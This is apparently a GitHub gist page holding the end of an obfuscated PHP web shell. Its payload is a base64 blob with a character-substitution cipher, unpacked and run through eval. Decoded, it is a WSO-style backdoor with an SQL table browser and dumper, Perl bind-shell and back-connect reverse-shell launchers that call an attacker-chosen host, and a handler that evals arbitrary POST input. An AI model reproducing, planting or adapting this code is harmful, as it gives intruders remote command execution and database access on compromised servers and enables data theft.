XRDaDFyczV0KCczdGY4Jyk7IGJyNTFrOw0KCQkJCWMxczUgIktPSTgtUiI6ICRkYi0+czV0Q2gxcnM1dCgnazI0OHInKTsgYnI1MWs7DQoJCQkJYzFzNSAiS09JOC1VIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4MycpOyBicjUxazsNCgkJCQljMXM1ICJjcDhlZSI6ICRkYi0+czV0Q2gxcnM1dCgnY3A4ZWUnKTsgYnI1MWs7DQoJCQl9DQoJCQkkZGItPmw0c3REYnMoKTsNCgkJCTVjaDIgIjxzNWw1Y3QgbjFtNT1zcWxfYjFzNT48MnB0NDJuIHYxbDM1PScnPjwvMnB0NDJuPiI7DQoJCQl3aDRsNSgkNHQ1bSA9ICRkYi0+ZjV0Y2goKSkgew0KCQkJCWw0c3QoJGs1eSwgJHYxbDM1KSA9IDUxY2goJDR0NW0pOw0KCQkJCTVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuJHYxbDM1LiciICcuKCR2MWwzNT09JF9QT1NUWydzcWxfYjFzNSddPydzNWw1Y3Q1ZCc6JycpLic+Jy4kdjFsMzUuJzwvMnB0NDJuPic7DQoJCQl9DQoJCQk1Y2gyICc8L3M1bDVjdD4nOw0KCQl9DQoJCTVsczUgNWNoMiAkdG1wOw0KCX01bHM1DQoJCTVjaDIgJHRtcDsNCgk1Y2gyICI8L3RkPg0KCQkJCTx0ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+JyAybmNsNGNrPSdmcyhkLnNmKTsnPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9c3FsX2MyM250IHYxbDM1PScybiciIC4gKDVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pPycnOicgY2g1Y2s1ZCcpIC4gIj4gYzIzbnQgdGg1IG4zbWI1ciAyZiByMndzPC90ZD4NCgkJCTwvdHI+DQoJCTwvdDFibDU+DQoJCTxzY3I0cHQ+DQogICAgICAgICAgICBzX2RiPSciLkAxZGRzbDFzaDVzKCRfUE9TVFsnc3FsX2IxczUnXSkuIic7DQogICAgICAgICAgICBmM25jdDQybiBmcyhmKSB7DQogICAgICAgICAgICAgICAgNGYoZi5zcWxfYjFzNS52MWwzNSE9c19kYikgeyBmLjJuczNibTR0ID0gZjNuY3Q0Mm4oKSB7fTsNCiAgICAgICAgICAgICAgICAgICAgNGYoZi5wNikgZi5wNi52MWwzNT0nJzsNCiAgICAgICAgICAgICAgICAgICAgNGYoZi5wYSkgZi5wYS52MWwzNT0nJzsNCiAgICAgICAgICAgICAgICAgICAgNGYoZi5wbykgZi5wby52MWwzNT0nJzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoJCQlmM25jdDQybiBzdCh0LGwpIHsNCgkJCQlkLnNmLnA2LnYxbDM1ID0gJ3M1bDVjdCc7DQoJCQkJZC5zZi5wYS52MWwzNSA9IHQ7DQogICAgICAgICAgICAgICAgNGYobCAmJiBkLnNmLnBvKSBkLnNmLnBvLnYxbDM1ID0gbDsNCgkJCQlkLnNmLnMzYm00dCgpOw0KCQkJfQ0KCQkJZjNuY3Q0Mm4gNHMoKSB7DQoJCQkJZjJyKDQ9MDs0PGQuc2YuNWw1bTVudHNbJ3RibFtdJ10ubDVuZ3RoOysrNCkNCgkJCQkJZC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkID0gIWQuc2YuNWw1bTVudHNbJ3RibFtdJ11bNF0uY2g1Y2s1ZDsNCgkJCX0NCgkJPC9zY3I0cHQ+IjsNCgk0Zig0c3M1dCgkZGIpICYmICRkYi0+bDRuayl7DQoJCTVjaDIgIjxici8+PHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9YSBjNWxsc3AxYzRuZz0wPiI7DQoJCQk0ZighNW1wdHkoJF9QT1NUWydzcWxfYjFzNSddKSl7DQoJCQkJJGRiLT5zNWw1Y3RkYigkX1BPU1RbJ3NxbF9iMXM1J10pOw0KCQkJCTVjaDIgIjx0cj48dGQgdzRkdGg9NiBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPjxzcDFuPlQxYmw1czo8L3NwMW4+PGJyPjxicj4iOw0KCQkJCSR0YmxzX3I1cyA9ICRkYi0+bDRzdFQxYmw1cygpOw0KCQkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgkdGJsc19yNXMpKSB7DQoJCQkJCWw0c3QoJGs1eSwgJHYxbDM1KSA9IDUxY2goJDR0NW0pOw0KICAgICAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydzcWxfYzIzbnQnXSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZjV0Y2goJGRiLT5xMzVyeSgnU0VMRUNUIENPVU5UKCopIDFzIG4gRlJPTSAnLiR2MWwzNS4nJykpOw0KCQkJCQkkdjFsMzUgPSBodG1sc3A1YzQxbGNoMXJzKCR2MWwzNSk7DQoJCQkJCTVjaDIgIjxuMmJyPjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgbjFtNT0ndGJsW10nIHYxbDM1PSciLiR2MWwzNS4iJz4mbmJzcDs8MSBocjVmPSMgMm5jbDRjaz1cInN0KCciLiR2MWwzNS4iJyw2KVwiPiIuJHYxbDM1LiI8LzE+IiAuICg1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKT8nJm5ic3A7JzoiIDxzbTFsbD4oeyRuWyduJ119KTwvc20xbGw+IikgLiAiPC9uMmJyPjxicj4iOw0KCQkJCX0NCgkJCQk1Y2gyICI8NG5wM3QgdHlwNT0nY2g1Y2tiMngnIDJuY2w0Y2s9JzRzKCk7Jz4gPDRucDN0IHR5cDU9YjN0dDJuIHYxbDM1PSdEM21wJyAybmNsNGNrPSdkMmMzbTVudC5zZi5wYS52MWwzNT1cImQyd25sMjFkXCI7ZDJjM201bnQuc2YuczNibTR0KCk7Jz48YnI+RjRsNSBwMXRoOjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1mNGw1IHYxbDM1PSdkM21wLnNxbCc+PC90ZD48dGQgc3R5bDU9J2IycmQ1ci10MnA6YXB4IHMybDRkICNlZWU7Jz4iOw0KCQkJCTRmKEAkX1BPU1RbJ3A2J10gPT0gJ3M1bDVjdCcpIHsNCgkJCQkJJF9QT1NUWydwNiddID0gJ3EzNXJ5JzsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwbyddID0gJF9QT1NUWydwbyddPyRfUE9TVFsncG8nXTo2Ow0KCQkJCQkkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcgLiAkX1BPU1RbJ3BhJ10pOw0KCQkJCQkkbjNtID0gJGRiLT5mNXRjaCgpOw0KCQkJCQkkcDFnNXMgPSBjNTRsKCRuM21bJ24nXSAvIG8wKTsNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiPHNjcjRwdD5kLnNmLjJuczNibTR0PWYzbmN0NDJuKCl7c3QoXCIiIC4gJF9QT1NUWydwYSddIC4gIlwiLCBkLnNmLnBvLnYxbDM1KX08L3NjcjRwdD48c3Axbj4iLiRfUE9TVFsncGEnXS4iPC9zcDFuPiAoeyRuM21bJ24nXX0gcjVjMnJkcykgUDFnNSAjIDw0bnAzdCB0eXA1PXQ1eHQgbjFtNT0ncG8nIHYxbDM1PSIgLiAoKDRudCkkX1BPU1RbJ3BvJ10pIC4gIj4iOw0KICAgICAgICAgICAgICAgICAgICA1Y2gyICIgMmYgJHAxZzVzIjsNCiAgICAgICAgICAgICAgICAgICAgNGYoJF9QT1NUWydwbyddID4gNikNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIiA8MSBocjVmPSMgMm5jbDRjaz0nc3QoXCIiIC4gJF9QT1NUWydwYSddIC4gJyIsICcgLiAoJF9QT1NUWydwbyddLTYpIC4gIiknPiZsdDsgUHI1djwvMT4iOw0KICAgICAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3BvJ10gPCAkcDFnNXMpDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICIgPDEgaHI1Zj0jIDJuY2w0Y2s9J3N0KFwiIiAuICRfUE9TVFsncGEnXSAuICciLCAnIC4gKCRfUE9TVFsncG8nXSs2KSAuICIpJz5ONXh0ICZndDs8LzE+IjsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwbyddLS07DQoJCQkJCTRmKCRfUE9TVFsndHlwNSddPT0ncGdzcWwnKQ0KCQkJCQkJJF9QT1NUWydwYSddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3BhJ10uJyBMSU1JVCBvMCBPRkZTRVQgJy4oJF9QT1NUWydwbyddKm8wKTsNCgkJCQkJNWxzNQ0KCQkJCQkJJF9QT1NUWydwYSddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydwYSddLidgIExJTUlUICcuKCRfUE9TVFsncG8nXSpvMCkuJyxvMCc7DQoJCQkJCTVjaDIgIjxicj48YnI+IjsNCgkJCQl9DQoJCQkJNGYoKEAkX1BPU1RbJ3A2J10gPT0gJ3EzNXJ5JykgJiYgITVtcHR5KCRfUE9TVFsncGEnXSkpIHsNCgkJCQkJJGRiLT5xMzVyeShAJF9QT1NUWydwYSddKTsNCgkJCQkJNGYoJGRiLT5yNXMgIT09IGYxbHM1KSB7DQoJCQkJCQkkdDR0bDUgPSBmMWxzNTsNCgkJCQkJCTVjaDIgJzx0MWJsNSB3NGR0aD02MDAlIGM1bGxzcDFjNG5nPTYgYzVsbHAxZGQ0bmc9YSBjbDFzcz1tMTRuIHN0eWw1PSJiMWNrZ3IyM25kLWMybDJyOiNhOWE5YTkiPic7DQoJCQkJCQkkbDRuNSA9IDY7DQoJCQkJCQl3aDRsNSgkNHQ1bSA9ICRkYi0+ZjV0Y2goKSkJew0KCQkJCQkJCTRmKCEkdDR0bDUpCXsNCgkJCQkJCQkJNWNoMiAnPHRyPic7DQoJCQkJCQkJCWYycjUxY2goJDR0NW0gMXMgJGs1eSA9PiAkdjFsMzUpDQoJCQkJCQkJCQk1Y2gyICc8dGg+Jy4kazV5Lic8L3RoPic7DQoJCQkJCQkJCXI1czV0KCQ0dDVtKTsNCgkJCQkJCQkJJHQ0dGw1PXRyMzU7DQoJCQkJCQkJCTVjaDIgJzwvdHI+PHRyPic7DQoJCQkJCQkJCSRsNG41ID0gYTsNCgkJCQkJCQl9DQoJCQkJCQkJNWNoMiAnPHRyIGNsMXNzPSJsJy4kbDRuNS4nIj4nOw0KCQkJCQkJCSRsNG41ID0gJGw0bjU9PTY/YTo2Ow0KCQkJCQkJCWYycjUxY2goJDR0NW0gMXMgJGs1eSA9PiAkdjFsMzUpIHsNCgkJCQkJCQkJNGYoJHYxbDM1ID09IG4zbGwpDQoJCQkJCQkJCQk1Y2gyICc8dGQ+PDQ+bjNsbDwvND48L3RkPic7DQoJCQkJCQkJCTVsczUNCgkJCQkJCQkJCTVjaDIgJzx0ZD4nLm5sYWJyKGh0bWxzcDVjNDFsY2gxcnMoJHYxbDM1KSkuJzwvdGQ+JzsNCgkJCQkJCQl9DQoJCQkJCQkJNWNoMiAnPC90cj4nOw0KCQkJCQkJfQ0KCQkJCQkJNWNoMiAnPC90MWJsNT4nOw0KCQkJCQl9IDVsczUgew0KCQkJCQkJNWNoMiAnPGQ0dj48Yj5FcnIycjo8L2I+ICcuaHRtbHNwNWM0MWxjaDFycygkZGItPjVycjJyKCkpLic8L2Q0dj4nOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCTVjaDIgIjxicj48L2Yycm0+PGYycm0gMm5zM2JtNHQ9J2Quc2YucDYudjFsMzU9XCJxMzVyeVwiO2Quc2YucGEudjFsMzU9dGg0cy5xMzVyeS52MWwzNTtkMmMzbTVudC5zZi5zM2JtNHQoKTtyNXQzcm4gZjFsczU7Jz48dDV4dDFyNTEgbjFtNT0ncTM1cnknIHN0eWw1PSd3NGR0aDo2MDAlO2g1NGdodDo2MDBweCc+IjsNCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwNiddICE9ICdsMjFkZjRsNScpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgICAgICA1Y2gyICI8L3Q1eHQxcjUxPjxici8+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSdFeDVjM3Q1Jz4iOw0KCQkJCTVjaDIgIjwvdGQ+PC90cj4iOw0KCQkJfQ0KCQkJNWNoMiAiPC90MWJsNT48L2Yycm0+PGJyLz4iOw0KICAgICAgICAgICAgNGYoJF9QT1NUWyd0eXA1J109PSdteXNxbCcpIHsNCiAgICAgICAgICAgICAgICAkZGItPnEzNXJ5KCJTRUxFQ1QgNiBGUk9NIG15c3FsLjNzNXIgV0hFUkUgYzJuYzF0KGAzczVyYCwgJ0AnLCBgaDJzdGApID0gVVNFUigpIEFORCBgRjRsNV9wcjR2YCA9ICd5JyIpOw0KICAgICAgICAgICAgICAgIDRmKCRkYi0+ZjV0Y2goKSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiPGYycm0gMm5zM2JtNHQ9J2Quc2YucDYudjFsMzU9XCJsMjFkZjRsNVwiO2QyYzNtNW50LnNmLnBhLnYxbDM1PXRoNHMuZi52MWwzNTtkMmMzbTVudC5zZi5zM2JtNHQoKTtyNXQzcm4gZjFsczU7Jz48c3Axbj5MMjFkIGY0bDU8L3NwMW4+IDw0bnAzdCAgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT4iOw0KICAgICAgICAgICAgfQ0KCQkJNGYoQCRfUE9TVFsncDYnXSA9PSAnbDIxZGY0bDUnKSB7DQoJCQkJJGY0bDUgPSAkZGItPmwyMWRGNGw1KCRfUE9TVFsncGEnXSk7DQoJCQkJNWNoMiAnPGJyLz48cHI1IGNsMXNzPW1sNj4nLmh0bWxzcDVjNDFsY2gxcnMoJGY0bDVbJ2Y0bDUnXSkuJzwvcHI1Pic7DQoJCQl9DQoJfSA1bHM1IHsNCiAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSk7DQogICAgfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQpmM25jdDQybiAxY3Q0Mm5ONXR3MnJrKCkgew0KCXdzMkg1MWQ1cigpOw0KCSRiMWNrX2Mybm41Y3RfcD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUXA2Y2FVZ1VhOWoxYVYwT3cwS0pHbGhaR1J5UFdsM1pYUmZZWFJ2YjRna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjajJnSkNGY2I0SXBPdzBLSkhCaFpHUnlQWE52WWF0aFpHUnlYYWwzS0NSQlVrZFdXekZkTENBazFXRmtaSElwSUh4OElHUnBaU2c0UlhKeWJvSWVJQ1FoWEd1NEtUc05DNFJ3Y205MGJ6Nm5aWFJ3Y205MGJhSmlibUZ0WlNnbmRHTndKeWs3RFFwemJhTnJaWFEyVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z0pIQnlib1J2S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXBqYmFpM1pXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrMVdVMklrVnljbTl5TzRBa0lWeDNJNGs3RFFwdmNHVjNLRk5VUkVsT0xDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFVDZWVUxDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFUlZKU0xDQTRQNFpUVDBOTFJWUTRLVHNOQ25OaWNvUmxiU2duTGFKcGI0OXoxQ0F0MVNjcE93MEtZYXh2Y2FVMlU2UkVTVXVwT3cwS1lheHZjYVUyVTZSRVQ2VlVLVHNOQ21Oc2JvTmxLRk5VUkVWU1U0azciOw0KCSRiNG5kX3AycnRfcD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUTJrVTBoRlRFdzlJNDk0MVd1dmNhZ2dMV2s0T3cwSzFXWWdLRUJCVWtkV0lEd2dNU2tnNXlCbDVHbDBLREVwT3lCOURRcDZjYVVnVWE5ajFhVjBPdzBLY2E5ajFhVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVNlJTUlVGTkxHZGxkSEJ5Ym9SdllubDNZVzZsS0NkMFlvQW5LU2tnZkh3Z1pHbGxJQ0pEWVdpMElHTnlaV0YwWlNCemJhTnJaWFJjYjRJN0RRcHpaWFJ6YmFOcmJvQjBLRk1zVTA5TVg2TlBRMHRGVkN4VFQ2OVNSVlZUUlVGRVJGSXNNU2s3RFFwNDFXaWtLRk1zY2E5ajFhRmtaSEpmMVd1MkpFRlNSNlpiTUYwc1NVaUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQTRRYUYzZENCdmNHVjNJSEJ2Y25SY2I0STdEUXBzMVhOMFpXdTJVeXd6S1NCOGZDQmsxV1VnSWtOaGJuUWdiR2x6ZEdWM0lIQnZjblJjYjRJN0RRcG8xR2xzWlNneEtTQjdEUTJKWVdOalpYQjBLRU5QVGt1c1V5azdEUTJKMVdZMklTZ2tjR2xrUFdadmNtc3BLU0I3RFEySkNXUnBaU0E0UWFGM2JtOTBJR1p2Y21zNElHbG1JQ2doWkdWbTFXaWxaQ0FrY0dsa0tUc05DZ2tKYm9CbGI0QlRWRVJKVDR3NFBDWkRUMGlPSWpzTkNna0pib0JsYjRCVFZFUlBWVlFzSWp1bVEwOU9UNEk3RFEySkNXOXdaV3VnVTZSRVJWSlNMQ0krSmtOUFRrdTRPdzBLQ1FsbDVHVmpJQ1JUU0VWTVRDQjhmQ0JrMVdVZ2NISnBiblFnUTA5T1Q0QTRRYUYzZENCbDVHVmpkWFJsSUNSVFNFVk1URngzSWpzTkNna0pZYXh2Y2FVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9IjsNCgk1Y2gyICI8aDY+TjV0dzJyayB0MjJsczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pg0KCTxmMnJtIG4xbTU9J25mcCcgMm5TM2JtNHQ9XCJnKG4zbGwsbjNsbCwnYnBwJyx0aDRzLnAycnQudjFsMzUpO3I1dDNybiBmMWxzNTtcIj4NCgk8c3Axbj5CNG5kIHAycnQgdDIgL2I0bi9zaCBbcDVybF08L3NwMW4+PGJyLz4NCglQMnJ0OiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDJydCcgdjFsMzU9J282b283Jz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+DQoJPC9mMnJtPg0KCTxmMnJtIG4xbTU9J25mcCcgMm5TM2JtNHQ9XCJnKG4zbGwsbjNsbCwnYmNwJyx0aDRzLnM1cnY1ci52MWwzNSx0aDRzLnAycnQudjFsMzUpO3I1dDNybiBmMWxzNTtcIj4NCgk8c3Axbj5CMWNrLWMybm41Y3QgIFtwNXJsXTwvc3Axbj48YnIvPg0KCVM1cnY1cjogPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3M1cnY1cicgdjFsMzU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz4gUDJydDogPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3AycnQnIHYxbDM1PSdvNm9vNyc+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPg0KCTwvZjJybT48YnI+IjsNCgk0Zig0c3M1dCgkX1BPU1RbJ3A2J10pKSB7DQoJCWYzbmN0NDJuIGNmKCRmLCR0KSB7DQoJCQkkdyA9IEBmMnA1bigkZiwidyIpIDJyIEBmM25jdDQybl81eDRzdHMoJ2Y0bDVfcDN0X2MybnQ1bnRzJyk7DQoJCQk0Zigkdyl7DQoJCQkJQGZ3cjR0NSgkdyxAYjFzNWV1X2Q1YzJkNSgkdCkpOw0KCQkJCUBmY2wyczUoJHcpOw0KCQkJfQ0KCQl9DQoJCTRmKCRfUE9TVFsncDYnXSA9PSAnYnBwJykgew0KCQkJY2YoIi90bXAvYnAucGwiLCRiNG5kX3AycnRfcCk7DQoJCQkkMjN0ID0gd3MyRXgoInA1cmwgL3RtcC9icC5wbCAiLiRfUE9TVFsncGEnXS4iIDY+L2Q1di9uM2xsIGE+JjYgJiIpOw0KICAgICAgICAgICAgc2w1NXAoNik7DQoJCQk1Y2gyICI8cHI1IGNsMXNzPW1sNj4kMjN0XG4iLndzMkV4KCJwcyAxM3ggfCBncjVwIGJwLnBsIikuIjwvcHI1PiI7DQogICAgICAgICAgICAzbmw0bmsoIi90bXAvYnAucGwiKTsNCgkJfQ0KCQk0ZigkX1BPU1RbJ3A2J10gPT0gJ2JjcCcpIHsNCgkJCWNmKCIvdG1wL2JjLnBsIiwkYjFja19jMm5uNWN0X3ApOw0KCQkJJDIzdCA9IHdzMkV4KCJwNXJsIC90bXAvYmMucGwgIi4kX1BPU1RbJ3BhJ10uIiAiLiRfUE9TVFsncG8nXS4iIDY+L2Q1di9uM2xsIGE+JjYgJiIpOw0KICAgICAgICAgICAgc2w1NXAoNik7DQoJCQk1Y2gyICI8cHI1IGNsMXNzPW1sNj4kMjN0XG4iLndzMkV4KCJwcyAxM3ggfCBncjVwIGJjLnBsIikuIjwvcHI1PiI7DQogICAgICAgICAgICAzbmw0bmsoIi90bXAvYmMucGwiKTsNCgkJfQ0KCX0NCgk1Y2gyICc8L2Q0dj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KZjNuY3Q0Mm4gMWN0NDJuUkMoKSB7DQoJNGYoIUAkX1BPU1RbJ3A2J10pIHsNCgkJJDEgPSAxcnIxeSgNCgkJCSIzbjFtNSIgPT4gcGhwXzNuMW01KCksDQoJCQkicGhwX3Y1cnM0Mm4iID0+IHBocHY1cnM0Mm4oKSwNCgkJCSJ3czJfdjVyczQybiIgPT4gV1NPX1ZFUlNJT04sDQoJCQkiczFmNW0yZDUiID0+IEA0bjRfZzV0KCdzMWY1X20yZDUnKQ0KCQkpOw0KCQk1Y2gyIHM1cjQxbDR6NSgkMSk7DQoJfSA1bHM1IHsNCgkJNXYxbCgkX1BPU1RbJ3A2J10pOw0KCX0NCn0NCjRmKCA1bXB0eSgkX1BPU1RbJzEnXSkgKQ0KCTRmKDRzczV0KCRkNWYxM2x0XzFjdDQybikgJiYgZjNuY3Q0Mm5fNXg0c3RzKCcxY3Q0Mm4nIC4gJGQ1ZjEzbHRfMWN0NDJuKSkNCgkJJF9QT1NUWycxJ10gPSAkZDVmMTNsdF8xY3Q0Mm47DQoJNWxzNQ0KCQkkX1BPU1RbJzEnXSA9ICdTNWNJbmYyJzsNCjRmKCAhNW1wdHkoJF9QT1NUWycxJ10pICYmIGYzbmN0NDJuXzV4NHN0cygnMWN0NDJuJyAuICRfUE9TVFsnMSddKSApDQoJYzFsbF8zczVyX2YzbmMoJzFjdDQybicgLiAkX1BPU1RbJzEnXSk7DQoNCjV4NHQ7";eval(base64_decode("JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPXN0cl9yZXBsYWNlKCdfX0ZJTEVfXycsIiciLiRfRi4iJyIsJF9YKTtldmFsKCRfUik7JF9SPTA7JF9YPTA7"));}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment